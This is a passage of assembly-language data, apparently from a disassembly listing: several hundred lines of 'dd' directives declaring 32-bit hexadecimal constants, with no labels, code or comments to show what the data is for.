		dd 18FA2805h, 7B1B9C20h, 4A924ADCh, 7214F108h, 5A839438h
		dd 0CE048D1Ch, 8E084C3Bh, 1B80BDC1h, 2571A43h, 0B08F00BFh
		dd 5E150C70h, 110BFCA2h, 106140B6h, 8ADCD4h, 2725CD1h
		dd 7F74A1A5h, 7D92E407h, 0F632AB13h, 440C6C20h,	85003669h
		dd 0D78F2D2Eh, 1B7107Fh, 0A3ED829Ch, 4CECD9A8h,	0C40115E4h
		dd 181CF9EAh, 6470AAE2h, 495BB877h, 2983585Dh, 0A8E1FA3Bh
		dd 6C42462h, 0AD577119h, 175DB0h, 4A2D6D2Bh, 0A8E4D500h
		dd 0EAE0B215h, 39449842h, 0ED17F8B1h, 0E09495h,	0C727761Ch
		dd 8660FD15h, 239B9E90h, 8B0C001Bh, 0F7410EE1h,	18038AA0h
		dd 0E091DB64h, 10E4BC8Eh, 27C507DFh, 3F11D563h,	69247440h
		dd 1805B3EAh, 0F3F93F83h, 0BC9584C5h, 15F8F404h, 54B18249h
		dd 0A06719h, 0E96B4E11h, 4827F0D6h, 22DEA853h, 8728DD02h
		dd 424BAD13h, 16184504h, 731C22A8h, 74A2B0CCh, 0B8644CC0h
		dd 0D8678500h, 7602DB93h, 20E49040h, 909473F5h,	0B282640h
		dd 1F541EB1h, 0A753806Bh, 6A3E6012h, 57FB1909h,	0B08C4C4Ch
		dd 0CD5B01D8h, 60FCE4D0h, 0C8F1FCD6h, 0A0F0181Ch, 5AD38DC0h
		dd 0F82CBDh, 9C124A41h,	5A483F5h, 0E148D400h, 6696C4EFh
		dd 0E2CF0390h, 10CCC1C5h, 0F3AD3900h, 0BADED8F8h, 0FE710Ah
		dd 8294D076h, 0E4830796h, 5ABEE700h, 44CF8DCDh,	3CAD07F2h
		dd 11610931h, 0E5DEB6C9h, 0F10301Fh, 0DCF09Fh, 805B9273h
		dd 6DC33958h, 0ADFB7203h, 63164DCh, 5A3D348h, 955C808Eh
		dd 735D02B4h, 808C75ABh, 2578CEA5h, 0E6620185h,	0C7283326h
		dd 5C1D8CCh, 0FC39046Dh, 33CD0883h, 66A003FBh, 0F41E9AC2h
		dd 39079709h, 0BDA05EC7h, 98017FB2h, 9EFA0122h,	1A70B916h
		dd 0FBEAC025h, 0B303543Dh, 80A8B864h, 0C2E909FCh, 0CF01C0F1h
		dd 88F094A3h, 0F6237100h, 91407C95h, 13440B37h,	7083F939h
		dd 7781E9ECh, 985BEC8Bh, 0CD53ED03h, 12594FF3h,	0CCF660h
		dd 157CAD17h, 69DCC0EEh, 0FC7FE800h, 0E35302h, 0DADBFA04h
		dd 0E2315B77h, 0CBD0501Fh, 4C52D4h, 93BFF73h, 2695FE1Ah
		dd 36AC303h, 16CCC085h,	728B17Dh, 0F95618E5h, 59261F74h
		dd 0DD39280h, 7C833F7h,	1364FE65h, 235A80D0h, 7600D22Bh
		dd 5FFA6D15h, 36652C7h,	0E9F1A174h, 691F12A3h, 7C40ADB0h
		dd 0D605E17Bh, 9CBF01E4h, 65DD585Bh, 0FAF85184h, 0C54F2074h
		dd 0A48B8F98h, 0CC8472E2h, 5CDC43A1h, 14314C59h, 0E0705844h
		dd 2D6303AFh, 10DDF646h, 48E5AEE9h, 8A03A388h, 0C2235E21h
		dd 5888E480h, 0D73E3D98h, 0F613573Ch, 0F700EB8Fh, 0AC02566Ah
		dd 2872006Bh, 752C7652h, 0EA520DFDh, 0E060098h,	0FBE437F7h
		dd 5B722934h, 5FB58188h, 20794305h, 8D0EE590h, 7E8F8A03h
		dd 85009A2Ch, 726AC5EFh, 6C30C1BFh, 22FFCDC0h, 0A0D38B8h
		dd 84A6F795h, 16734880h, 1F6D4581h, 81A1E5FFh, 0C2E2628Ch
		dd 0A900FBD4h, 0BE0A61BCh, 52B16AFh, 0DD7CB8A4h, 61B9C5E9h
		dd 0F204FED8h, 0AE007327h, 0E06E216h, 0FBD2C76Dh, 210B1833h
		dd 0B8A84E0Ah, 8C00428Ah, 1CFD9712h, 0A046BC0h,	0C207BA87h
		dd 4717E4FCh, 9731AB7Fh, 50205647h, 5D663CAFh, 0FB76AC0Eh
		dd 0F8E56A02h, 0C3EEEC83h, 5343711Ch, 89B75F80h, 0B1AA61h
		dd 1D8B88B9h, 6E641697h, 9C69BA29h, 48F6C0B2h, 7FB8CDF8h
		dd 0B6B400DCh, 63B5AF9Ah, 0C713565Ch, 5B001908h, 5889CB45h
		dd 71C260E7h, 1103D3DEh, 0A059F200h, 0E5EE36FFh, 1D60F86Ah
		dd 0D27B785Ch, 0D7C430AEh, 7400DF7Eh, 198F8258h, 0EC3DA7A8h
		dd 9B765CE2h, 0EE180457h, 7BC239E8h, 0FF04A876h, 3E2A4AD9h
		dd 35AD108Ch, 0C29EBEEh, 0F8EA2D42h, 3036BD07h,	9CB00E19h
		dd 26E6CBF9h, 47CCA170h, 5E756088h, 7975E471h, 2A005748h
		dd 9D00D881h, 6BEC7413h, 0F2B440h, 6A76C028h, 0FDBEF305h
		dd 68E18201h, 0A1694DE7h, 0C1EECD00h, 6ADD89C1h, 0D8E30F8Bh
		dd 1EF375Fh, 763616A2h,	2165D27Ah, 0FB288208h, 68DDCE23h
		dd 88D70428h, 0FC63DAC0h, 87F0A9h, 0A03A7361h, 0DC98A8B0h
		dd 7D3EB200h, 568DE160h, 0F2050329h, 0D3934DE9h, 3BC9143h
		dd 0F9D9A9DFh, 983D9022h, 0C7781CE9h, 41021C36h, 0A6056BB6h
		dd 8CA844DBh, 0A30038FCh, 0FCB6AF1h, 1C3DD75h, 64087845h
		dd 0D5EF2744h, 60202639h, 1602DFEAh, 3DE3E675h,	69847282h
		dd 829F4847h, 0E620DC54h, 0E8293ABh, 0AE4BD33Ah, 60907A00h
		dd 58045AFBh, 0F69E2276h, 7DE088h, 7266102Ah, 69D1B7E3h
		dd 0FD2DFB00h, 0E3A7B83h, 0E300986Fh, 4ECC4714h, 0C38470h
		dd 0F76E536Dh, 618703F9h, 5172A230h, 5BB32010h,	0EAD9C00Ch
		dd 0F5077341h, 67ADEF01h, 44300E8Bh, 961F3162h,	0E5AC20A8h
		dd 9A7E6AF9h, 76379000h, 0E763FBA2h, 0B2AA163Ch, 0D7100091h
		dd 716CD84Fh, 6F280612h, 0D9F62005h, 15E7B470h,	0B03700DAh
		dd 35813F19h, 2133CDFh,	44040764h, 0E4C15E62h, 6C60B4D2h
		dd 208A03BEh, 0A22C63ADh, 0A043CC80h, 6490BC90h, 8CA128A4h
		dd 0D2A117EAh, 0CF099CFh, 4C5C7779h, 0E0008A2Dh, 8B76D17Ch
		dd 960ECD60h, 98674DD3h, 0F88AB999h, 11FCADh, 0E801D27Eh
		dd 400E0CFDh, 7376C4A0h, 0D6681A06h, 1D901B4Ch,	1BC1C2Dh
		dd 4E4C652h, 0CBC2172h,	83540AA0h, 7802ECD4h, 3524E0D1h
		dd 0C28C8263h, 16AD03D8h, 0FCA59A81h, 90488BA4h, 5C768030h
		dd 0BADCD695h, 2E09099Ch, 9C801AE8h, 1DF80CFAh,	0F5EE0800h
		dd 32D0DCF2h, 1F75E072h, 306DF116h, 17116F98h, 3A017304h
		dd 34D2D8E7h, 5B8129DFh, 0D8494216h, 83002E34h,	59A0BA0Eh
		dd 504E8201h, 58DCC09Eh, 5383A46Bh, 0A116AAEFh,	0A7F8388Fh
		dd 57089200h, 0EB497007h, 0FFE18301h, 75FCDD99h, 5C12A831h
		dd 74864A3h, 0BEA0EB61h, 562831DBh, 0FFB4F005h,	52B11206h
		dd 3029CB9Ch, 1C71DCF0h, 0D90003E7h, 0DFDE3E5Fh, 70106Bh
		dd 0D766BAFDh, 0D6C096E5h, 30774A26h, 80D21188h, 0E395F4FAh
		dd 2CA0C553h, 0E401B26Ah, 8FB1B305h, 0AD0EB01h,	5CE9C082h
		dd 1D3B8AD1h, 0B069FF01h, 0E6EE0F39h, 0E1465187h, 8F143034h
		dd 0F3140EBFh, 202CE984h, 13EB44E5h, 0FB01FAE8h, 6973B9AEh
		dd 0F432E70Dh, 4A9F3001h, 0CD5C6F68h, 3E4C30EDh, 25FEA040h
		dd 1C12EB5Bh, 83AD3004h, 0A97C1460h, 2898BB57h,	5E44D8ADh
		dd 5230C0FAh, 7C0242BAh
		dd 0BB4DFC00h, 61E9F320h, 0A2618E4h, 941E20AEh,	6846E600h
		dd 6FE00CBBh, 25FA0071h, 0FBE7B931h, 0C872599Bh, 0B3B1A900h
		dd 0A06F0BF6h, 0FEAEECB4h, 0D4F552FAh, 8FC31Fh,	24287AF9h
		dd 6300D7A6h, 61CE0B41h, 35785Bh, 21096C52h, 6BEEF0E6h
		dd 0C1918200h, 0D5D21AB1h, 0D9AA0356h, 0DEAEC4F5h, 0F60146E0h
		dd 1A0908ECh, 6CE54Ch, 55CBD874h, 73B300BCh, 0C34DF970h
		dd 42002136h, 9AA25269h, 3E726Fh, 3AC701EAh, 0F955C368h
		dd 20AFAD30h, 5D0F6727h, 1380FC1Fh, 4D2990DBh, 168C1003h
		dd 0C0FD6324h, 581DFB80h, 6600D86Dh, 95C52D5h, 0FE3ACCC7h
		dd 3CAF830Ah, 9E4D168h,	38AB5249h, 0FE85550Fh, 12F82509h
		dd 0E4DC2050h, 0FF268976h, 9D049454h, 1291BAh, 0C7585C2Ch
		dd 8A16D01Ah, 70286794h, 0A0BB006Eh, 5DD1A8C6h,	62006FF1h
		dd 0F42C052Ah, 240B0490h, 8F00AD3Dh, 7F0CCE38h,	4800A579h
		dd 0C057124Ch, 1DA1C883h, 18727DDFh, 0E0F99FBh,	0CF00EA72h
		dd 84FC9177h, 6E3C6529h, 995F90A7h, 146015h, 0A1D7954Dh
		dd 1D10D450h, 1B006A26h, 8AE55109h, 7E28EC3h, 0CC2884CEh
		dd 63E8A046h, 0D3328B73h, 400348BDh, 0F2EF94h, 0D9C7A28Fh
		dd 91739A2Ah, 0C6100E03h, 7485F068h, 0E97A0169h, 874BBE51h
		dd 0F915F9C8h, 24C32F0h, 0E21448E6h, 0A06B6045h, 80310011h
		dd 6E08F8B3h, 820037BEh, 6BBA9447h, 927C6DB5h, 0D90D22B8h
		dd 0D7E97313h, 84529430h, 89ED0058h, 0C23AC017h, 1A01FF99h
		dd 9170F966h, 0B0508C0Ah, 0DA594Ah, 0C60E3872h,	81866EC1h
		dd 6713CBE4h, 0F01EB94Eh, 68DC2462h, 9418CBD4h,	19C0380Ah
		dd 0A81E30E2h, 39350089h, 4E561425h, 0B7017910h, 5D86F7DAh
		dd 0FC356D65h, 7A7A6CC0h, 418BE7DCh, 2818964Dh,	0F50C0199h
		dd 2185290Fh, 9ADC12D9h, 0EC81D68h, 0DD838C6Ah,	21124D5Fh
		dd 0C4011A3h, 3FAD37FAh, 38DF0AD8h, 79471C2h, 1076201Ah
		dd 725548E0h, 9120545Dh, 0F4130064h, 0E2D6C897h, 0C3250047h
		dd 5F82BE3Fh, 0A10024E1h, 0E8FEFF8Ah, 58026A03h, 0C86454C9h
		dd 0B48F2384h, 60400C5Fh, 9500F519h, 0E20197C5h, 0FCFD07h
		dd 4F5C6DABh, 0F99B8068h, 0DD44F090h, 0AB7200D9h, 6F8E2E1Bh
		dd 980A100Ah, 2866DC6Ah, 1674F000h, 295400Dh, 917D06Fh
		dd 0B060649Fh, 6A5052DCh, 0DD446948h, 0D630A0EEh, 593E1DCAh
		dd 4CAB43B2h, 81DD7644h, 42CEF24Dh, 0D2089ECh, 638C1Dh
		dd 1732A53Ch, 0CAAFD2DCh, 0B60E2607h, 0C17293D1h, 8C184367h
		dd 74C9152h, 0EB080A5h,	0FBE43CB7h, 0D8A40Bh, 35CEC2B8h
		dd 0FE65707Ah, 5300FCE4h, 2F14180Ch, 6D0CC8Ah, 93CA790h
		dd 7507426Bh, 0F5619DE1h, 18B0A83h, 0D4FFC749h,	0CCD75DFCh
		dd 42005648h, 6CE38F96h, 3058A3DFh, 0E008C4B7h,	80A8D5E7h
		dd 0D0170AD3h, 3E0246B4h, 6065EC0Bh, 6F80D9h, 0E8A9D88Eh
		dd 345C94BFh, 27110900h, 6C6EE185h, 6A40C744h, 0B4EFC414h
		dd 3500962Ch, 72265CCh,	77E669h, 488FFCCAh, 137DA10Ch
		dd 0A1E8A0Eh, 969689CEh, 9CFD0744h, 0EE14E422h,	30EADA80h
		dd 0E001786Fh, 9383F93Eh, 6831F251h, 64CC08h, 0C8C3D7C5h
		dd 7B79976Eh, 5DE87A07h, 47411968h, 0D030AEAFh,	8AC83E76h
		dd 9276A93Ah, 0C46C5914h, 31286492h, 301936FCh,	790E8FD2h
		dd 0A04B499Ch, 402B6C50h, 0D88C01F1h, 6411BC4Dh, 24C0CA9Ah
		dd 0C0014962h, 53ECB087h, 118A60C3h, 0C14C468h,	0F461860Ah
		dd 65610600h, 6A670789h, 0B1D6E679h, 0A164004Ch, 36DF0415h
		dd 0D70EC11Dh, 0E094AD0Eh, 73BEAE81h, 414D00F3h, 11EA8BC7h
		dd 0C400F69Dh, 6959C3CBh, 0B86EA247h, 965D7D64h, 838ACA0h
		dd 5783605Ch, 1D1FEC7h,	0D68FB71h, 698F95B3h, 0E801797Ch
		dd 0AAA64D3Bh, 0D0E1A9D2h, 575D0840h, 8C6D58C2h, 0E7EE2B0Ch
		dd 71021949h, 8A316AEBh, 97802F7Bh, 76553072h, 0F7FEF600h
		dd 0F49B986Fh, 0D18500D7h, 0A4D8C44Dh, 0CA0F036Ch, 62B9AD5Ch
		dd 400F9617h, 0E646559Ch, 0B1927188h, 0C8B60038h, 0FAEB289Fh
		dd 89F622h, 0AF210C06h,	84900F72h, 37346100h, 3B0EF773h
		dd 0CE80A2AEh, 0A61200B8h, 0B5106D11h, 8700BB36h, 70D69DF9h
		dd 314268Bh, 5F2ED986h,	0C294F8D0h, 1C432840h, 0A4E6FBC2h
		dd 97D66207h, 0F1B18560h, 3930A2C3h, 2E3E0927h,	0E8A0739Ch
		dd 0F29B943Dh, 2584E550h, 0C88F3Fh, 9A95D810h, 4C1F5753h
		dd 3C87F80Ah, 7ED6D026h, 0C7174ACEh, 5C0467F0h,	0ECE2684Dh
		dd 3B201D8Fh, 0EFCA4F8Eh, 6114E100h, 0B3900106h, 0FF101DBDh
		dd 0C7DA8587h, 0E8F02091h, 0E4A86BE0h, 0F10A7252h, 0C08C5817h
		dd 83905002h, 1938E176h, 670F0D10h, 0D500DDE8h,	0F21D821Ch
		dd 560B677h, 0BF9190DAh, 0A6ACCCF5h, 0AF3FD50Fh, 53CF01EFh
		dd 11848B9Eh, 0B25FDCC6h, 0F0700954h, 7494AA71h, 97B8102Dh
		dd 6C207F5h, 0C3FD17B6h, 93E1E262h, 3CC2EEDFh, 3DB5EC82h
		dd 522C452h, 10EF05D2h,	90E74A84h, 0CE266750h, 0CA14B4B9h
		dd 213C05ECh, 64D0F995h, 26EF904Bh, 420C9953h, 688ED668h
		dd 0BC0784CBh, 0B1A4C0FBh, 7CBAD771h, 0EC921A1Fh, 3000F812h
		dd 6DD8C138h, 0ADF61472h, 0E960BC16h, 10B1A303h, 5B01F0A4h
		dd 0E7736DCBh, 0F9D093A9h, 0A7609C0h, 300BCC79h, 3800F064h
		dd 2D06BDC7h, 0BC859Eh,	3F24F01h, 9A23FD6Eh, 948C1924h
		dd 2716BF05h, 91573000h, 2848C742h, 89C0F090h, 8C0CCF6Ch
		dd 0BCA17380h, 998B8220h, 0F3E02166h, 0AD01F976h, 5977536Dh
		dd 9840A1C0h, 3E49C78Ah, 9721F190h, 34CAD090h, 64202Ch
		dd 0C27EF781h, 20B9DB56h, 0AA4FCD00h, 0C8280678h, 9CB047Dh
		dd 858FFE24h, 0BB1884F4h, 21309611h, 291490C4h,	0E100B00Ah
		dd 7D699FCCh, 73DB0E9Bh, 2060A8E3h, 1D787403h, 612E3202h
		dd 70A9FA28h, 5A39C2E8h, 38489FF0h, 9D009837h, 0C2BAB717h
		dd 16264A2h, 795FB486h,	887596E3h, 0C0B6F140h, 652D76E1h
		dd 8F48517Ah, 73810008h, 0FB6A21D7h, 8164B9Eh, 0AD80D128h
		dd 613AA4CCh, 3A95F860h, 4A7A6F46h, 64001406h, 0A5CD522h
		dd 21AF8018h, 155C54h, 8A58DF3Eh, 44A7EDD9h, 73227C0Bh
		dd 104E0BFh, 0BCF08A17h, 1CFB6044h, 70E1CBh, 2316F4FCh
		dd 949EED8Fh, 663F1D01h, 0A1CC8CC8h, 0E9F20D03h, 0E44914A3h
		dd 50659E0h, 0A60E11F9h, 0FBF61E21h, 6057580Fh,	694F8AFAh
		dd 299ED05Dh, 22B4F555h, 0B3E40AE8h, 50A170h, 0D24DFEDDh
		dd 5F021B37h, 0FD1F0805h, 3B906082h, 0AC9A1643h, 0A290C4B4h
		dd 0F746398Ch, 0A6AEDD00h, 8580B0CAh, 953E16ACh, 0E080C0EBh
		dd 0D11C0E5Bh, 5246E96Ah, 1C998EEFh, 0FDAFD039h, 0D768F800h
		dd 4832816h, 61B4EF00h,	0F01194E6h, 8B1B00B8h, 0AF63DCD9h
		dd 16FEA7BFh, 783CDE00h, 9BEB51C1h, 0DFA20052h,	68839449h
		dd 0AD02EABBh, 55CA3128h, 918CC0AEh, 5DC01E75h,	40C026C8h
		dd 0EADBC77Ah, 3158B100h, 0D98DD36Fh, 0DA5502F0h, 6ADD0420h
		dd 0A32A5C52h, 0F8009418h, 0CCF4EFF1h, 1E367759h, 982139h
		dd 5B7E3E72h, 0E1308A5h, 0DCC2FB16h, 64B020FDh,	0EF003A8Eh
		dd 297133FCh, 4C60BEB5h, 88403020h, 0A0A21282h,	16D890F6h
		dd 4D05710Ch, 200E039Fh, 0E240E827h, 0B808CE01h, 2CA09648h
		dd 562F5098h, 831D1800h, 0CEBB40B8h, 905D01F8h,	2CD69F07h
		dd 67482082h, 2918544h,	5E5F35E9h, 585408FEh, 2B7DAD60h
		dd 0F7DA375Dh, 74D2C081h
		dd 414BDCC2h, 1E2E7828h, 16D0D557h, 0CC7A016Eh,	44FF684Ah
		dd 6D08A0B4h, 4404C024h, 0F1087340h, 834D318Ah,	236BDC61h
		dd 0FC0B4E94h, 7F464FAh, 2D2DF5Fh, 5D564015h, 6C00F480h
		dd 0DEBC704Fh, 0B89A820Dh, 0A26F0584h, 0A216FC99h, 0FE410268h
		dd 0A45BAB1Ah, 0A9408498h, 4BB49B80h, 59C83809h, 0CC758349h
		dd 0A2989042h, 920A002Ch, 0D9B9F871h, 80A05DABh, 0FA888264h
		dd 0AECE004Dh, 529E20AAh, 8A009D99h, 2AC834B3h,	3AE48D68h
		dd 9A0269DFh, 0CECFC06Eh, 33F6C02Fh, 0E69DFC72h, 0A7941611h
		dd 0C19421D2h, 904D00CFh, 80B8B68Fh, 46079B99h,	0D8B82B3Fh
		dd 0FCF5307h, 152012A8h, 1019B4h, 0F9DBF5BDh, 0C3A27ECCh
		dd 1B0C748h, 540FC106h,	7864E701h, 2C630062h, 0DC6F25A9h
		dd 1A4CFC9Ah, 0C2FA8078h, 0D4BE7E6Ah, 0DC854090h, 4E18C83Eh
		dd 8B66DA00h, 0AD76E8E4h, 0D64D07F1h, 801C2EA4h, 73DCA152h
		dd 0E4D5A928h, 0DDDBE91Dh, 0B763FF00h, 0F61D0Eh, 22F0EF4Dh
		dd 71F8A20Fh, 8BC76700h, 52984F43h, 7C9502C6h, 0E83DF0B2h
		dd 97289CC0h, 0CDE0A207h, 0AF049AE6h, 6E0178A2h, 0E53E6FEAh
		dd 0C079A2h, 749A555Fh,	1E4EA520h, 40793C9Bh, 0D273CC57h
		dd 7B1698B7h, 0F800582Eh, 18E89B11h, 0FBF9139Fh, 0C8509508h
		dd 69048E04h, 0C81DD821h, 0FB322CD0h, 0A305002Dh, 25F99D90h
		dd 0BD009749h, 795256B5h, 0E38901B9h, 2C7AC840h, 4C6848B3h
		dd 70AC840h, 0D75D7833h, 4FF8F0DBh, 0BE01AF18h,	99224783h
		dd 0D6F81080h, 0E88758FDh, 8140F500h, 0C1716A79h, 0A9524E00h
		dd 22BF12F8h, 9BC80495h, 0B7DE7C8Bh, 0E64B00E8h, 0E2C24E45h
		dd 0ADCF0062h, 0F0CCD7C3h, 0B3035468h, 37762AD5h, 0F575801Eh
		dd 8036144h, 0CCC8AC0Eh, 159A136h, 0FE2244h, 9ABC24FAh
		dd 1F61D25Eh, 0D9435D00h, 76EE30F2h, 5894488Bh,	28958A80h
		dd 0B01869B6h, 59D0C261h, 0D1D0006Ah, 5290F098h, 0B4260B9Fh
		dd 6C005233h, 4BE6EEEFh, 0DE6D02E1h, 6907C1BCh,	0F040DC56h
		dd 0EECF4D29h, 0DA0801E7h, 0E28CD972h, 0DD56300Fh, 0B01F6624h
		dd 0E9695380h, 24EB03E4h, 4F5C3BB1h, 0C2951505h, 6E271488h
		dd 0CDCA1650h, 0E960D6Fh, 0DBC19A1Fh, 0BBE0EFE3h, 0F3E4518Fh
		dd 49340B16h, 0D1D6F00Fh, 6109FE13h, 2E07FB9Ch,	6A8B0021h
		dd 80129BCh, 61F5F8F0h,	0B574309Eh, 0B0790B30h,	0E5908AD0h
		dd 5CDC298Bh, 8F94844h,	2F8812B9h, 6A64885Dh, 596C33Eh
		dd 0A2928B71h, 82532004h, 0BF208857h, 0D567A82Ch, 0E04A7400h
		dd 2C66408Ah, 2458FC11h, 9B0069E4h, 301CD437h, 447AAC25h
		dd 0F66C0044h, 712A89E4h, 1601B0F1h, 0C249AF01h, 0E2D4A963h
		dd 57991637h, 21940091h, 0C7F7B04Ah, 0FD0B9600h, 66BF1DB5h
		dd 847101EEh, 0C0D62758h, 0BED5FD4Dh, 1C90CB61h, 50B148h
		dd 38F8F691h, 0AB4EB6A1h, 0D0587500h, 9C5CE1C6h, 0BC53E9Eh
		dd 6EE967h, 9EC54EFh, 58A41A00h, 0EDB786C6h, 40DC257Bh
		dd 6A4D5021h, 0E83842D2h, 94724B20h, 333B0043h,	0BD6B19CFh
		dd 0E95D2A6h, 2F0151C4h, 357E0AA7h, 88252A8Eh, 4321681Ah
		dd 0F781D00Ch, 929B3986h, 28C47225h, 0CE13A1Eh,	71BA7DC0h
		dd 10F2561h, 0F9208F91h, 0CD94502Dh, 0E99991D2h, 0BB0D4100h
		dd 2FF95F6Ch, 9682B500h, 12EA847Fh, 251600A7h, 0A98DBF59h
		dd 0F785A53h, 8EAE0700h, 9050151h, 8914BBD7h, 0F88C23EFh
		dd 0A2399090h, 0EC44CAC7h, 0ACC213E8h, 5080E1E3h, 0C88B1208h
		dd 3D4D69F3h, 0A881F2B9h, 0F8F156E5h, 108C2695h, 0D8413D8h
		dd 53FB41D2h, 8CED2B91h, 0D9732881h, 0E41BAB3Fh, 83167709h
		dd 34200C2Ah, 0E8FDE30Eh, 885D0015h, 195BEC5h, 0D0B0728h
		dd 91B20304h, 0D2608928h, 95C004DDh, 0E2736F59h, 0EA470094h
		dd 7953EC9Eh, 256E007Dh, 8AB59C6Ch, 483D978Bh, 0C8073DE0h
		dd 846A00C0h, 6020F09h,	0DC21FF57h, 68C8A068h, 9F0C2440h
		dd 0AEF9136Fh, 0DAC40663h, 0B03864BBh, 0ADF281D5h, 0AF5D66A8h
		dd 39D4633Ah, 5F1092D0h, 7001E898h, 9E244A35h, 709D902Fh
		dd 6304224Dh, 6FFACB5Ch, 3C003CB2h, 0A4F8B63Eh,	0A2062926h
		dd 9734AF92h, 161A15E6h, 0D908C031h, 0AD188E01h, 4A4A90A0h
		dd 0DA102062h, 0A200F56Dh, 4247EC33h, 176B7Ch, 0E072D4Bh
		dd 46ADD7C8h, 5368E30Eh, 1B54843Fh, 821848C7h, 7276AEFAh
		dd 0D580D880h, 4302775Eh, 7E5A8A52h, 0BD31601Ah, 5559016Eh
		dd 0E462B283h, 80103856h, 0B0AD0C8Fh, 981E009Eh, 250B92FBh
		dd 71FA96B9h, 14FD730Bh, 345E70h, 0E6F8FADAh, 574B1FE7h
		dd 39B3C460h, 3FB10095h, 251FA5Eh, 6D0123FFh, 80EC3D1h
		dd 0E43253D9h, 87E01000h, 0EEC77A96h, 7F8A953Ah, 734F7074h
		dd 20DD7832h, 6EFA7D84h, 0B88A9300h, 0EDDC5CECh, 574B0770h
		dd 0A1CE9DF7h, 790B99FEh, 833E10BCh, 190B392h, 11FE5EADh
		dd 8645F32h, 16912451h,	30F21680h, 0B3CB734h, 0F59608A0h
		dd 4FBFD08h, 0C08D04EBh, 0C068AC05h, 9C4C9883h,	0B06C01Fh
		dd 96D8C480h, 0FBF11209h, 21C0E45Bh, 669D7C0Eh,	8A9C046Dh
		dd 9CF07A84h, 0F2820E6Dh, 0FE000874h, 0D89FF8D7h, 127E4807h
		dd 525115A4h, 41D86AA7h, 7D905857h, 1128204Eh, 2A01785Fh
		dd 92247254h, 35D83FC3h, 10E20012h, 3E52806Ch, 8890BEA3h
		dd 108F4D25h, 4A78D168h, 8BD488C8h, 68003B4Eh, 3C7791ECh
		dd 2AB400B7h, 98962C82h, 925A0172h, 17403C58h, 835F909h
		dd 91802C78h, 0FA9602A8h, 267F8902h, 587CD457h,	0EC4059Ch
		dd 2129D906h, 722616B8h, 70D24AF4h, 80187CA1h, 0B28CC7DEh
		dd 57072EE5h, 0AC5EE165h, 94236F70h, 0F481401h,	0D9092024h
		dd 0BCE89AEFh, 6EE86C6Ah, 0A0DBC025h, 23D1927Ch, 98C84B57h
		dd 408A19F4h, 3B0C278h,	26F217Dh, 0FC85384h, 0A097152h
		dd 5841CC9Dh, 0D7CA0DA8h, 2AD94B37h, 3DA1A860h,	0DCD601D3h
		dd 0C96609E6h, 90C05319h, 8CA253D4h, 23950F00h,	0C46115AFh
		dd 1D6D3848h, 0DC24762Fh, 7691740h, 5036070Ah, 151EF0A3h
		dd 893B80D8h, 441D1666h, 1B9D9DFh, 0F69BC5DCh, 542F1AFBh
		dd 0CA031200h, 0E7F98AC9h, 0D2E486E3h, 0C4E40758h, 180EFE2Ch
		dd 44946865h, 0B48034B2h, 9537A4A6h, 7D5E3104h,	50C593D8h
		dd 30AB90E4h, 2449D5EEh, 0E00F328h, 0A9C31CF8h,	0FC033E74h
		dd 0BB471E67h, 97E5021Ah, 8511E64h, 6A118701h, 98215D67h
		dd 27807828h, 0F5FAD2F6h, 0DA80489Ch, 86EC0949h, 741004Ch
		dd 507BEA12h, 9A3F4F9Eh, 0F8E30944h, 0D8D0B0E7h, 2C8D4510h
		dd 0E001C078h, 1D70A26Fh, 17A3C3B7h, 0CCA890EFh, 7F0108EEh
		dd 1C2FFBFh, 31D4D99Bh,	4773206Dh, 90103Ah, 77E805F5h
		dd 39857261h, 0FB803F9Bh, 60D42FE9h, 2B1D96A0h,	0BD408762h
		dd 0B57B9C13h, 0DCAB0CFEh, 4D898869h, 80D06848h, 0BAFF726Dh
		dd 19804B1h, 8C280FF4h,	14815374h, 21D6FA00h, 77B2FB09h
		dd 742CD015h, 79E18037h, 0CEBD3E12h, 23694044h,	3C18A42h
		dd 0E9EC18E6h, 72DEC089h, 52A20994h, 0BC483CF2h, 5C8A8E93h
		dd 0E8D962F8h, 2DEDAC19h, 0C048B87Ch, 24B45E2Ah, 43B404C0h
		dd 8901DBF0h, 714925E6h, 0DD702CD2h, 1FBEC14h, 0BD5FC5C3h
		dd 3CFF9458h, 7838099Ch, 1F3498D9h, 0F43AF60Eh,	0FABBFCBCh
		dd 5A9B012h, 0DD595B72h, 93A8A841h, 2A264C00h, 727362ABh
		dd 485A0998h, 0FCD8E6D8h, 0DAF6E20h, 397FE7E1h,	94202B38h
		dd 0B9DEB0h, 25EB29FDh
		dd 2109F55Dh, 723948h, 81CD9211h, 4EA496E0h, 0A1ECC816h
		dd 839C6F00h, 0C8A90D8Fh, 0CBD600B8h, 20FBF7E1h, 0B23F7DA6h
		dd 0C0FE00ECh, 0E20E10AEh, 0C4F25108h, 2B8F9C02h, 0D0C8B061h
		dd 1B27940Fh, 6C54A2D5h, 0DD9222CDh, 0C6804028h, 0E3320619h
		dd 0CA8A0304h, 0CBAD5E5Dh, 0A7DC3DA8h, 0B7507264h, 66119CEDh
		dd 74FA0337h, 0A8441D16h, 0D4AEFEh, 0A1728FA5h,	5AD08C9Bh
		dd 0E904FD25h, 15C1C038h, 53A2422h, 4EECAC44h, 10049F49h
		dd 0DB8E721Ah, 11E50191h, 0F1ED6A0Eh, 24D67C43h, 0D6CF641h
		dd 0BEF0EAC3h, 588BA238h, 0FAC0B4FEh, 0D2269CCh, 0C059C0A2h
		dd 85BE5D00h, 0C6656Fh,	0C906EDADh, 0E15B283Eh,	0F98E7700h
		dd 0A51B049h, 0D030C4C3h, 3AB4E4A0h, 0F8BFE707h, 0C9B704B3h
		dd 4E216B70h, 0A49C28F0h, 0C44CE59Ch, 9158BEE3h, 5D3810h
		dd 7E84DF49h, 0A08643A1h, 71E511F0h, 885B50E9h,	0D0C68A60h
		dd 0C5A9807h, 0AA57F6A6h, 0A808C5F0h, 99910134h, 1043F207h
		dd 73AC4052h, 8240FDB5h, 25E849Ch, 30F2A052h, 543B9D00h
		dd 0A24EBA59h, 71339000h, 4360B311h, 18F00BCh, 5B98BD14h
		dd 9EFA7C66h, 1A44F898h, 929F3D9Ah, 9A427D13h, 0EF55090Ch
		dd 0A45849h, 0F9E5276h,	0C866B131h, 178C4650h, 7EE788h
		dd 0BE799575h, 0B1029D65h, 0A42024BEh, 426C875Ch, 1C353840h
		dd 1C49EB71h, 7857804Dh, 0F2117Eh, 0E783A2CEh, 0A14EC8BCh
		dd 589B1A17h, 0A30700C1h, 18C4F012h, 18007AE8h,	1DC1FF75h
		dd 5352C5h, 28584BB8h, 6608A3A1h, 44E71924h, 0BCD85716h
		dd 20C24E75h, 21EB5F90h, 0D110A600h, 19C87C45h,	2A4B0080h
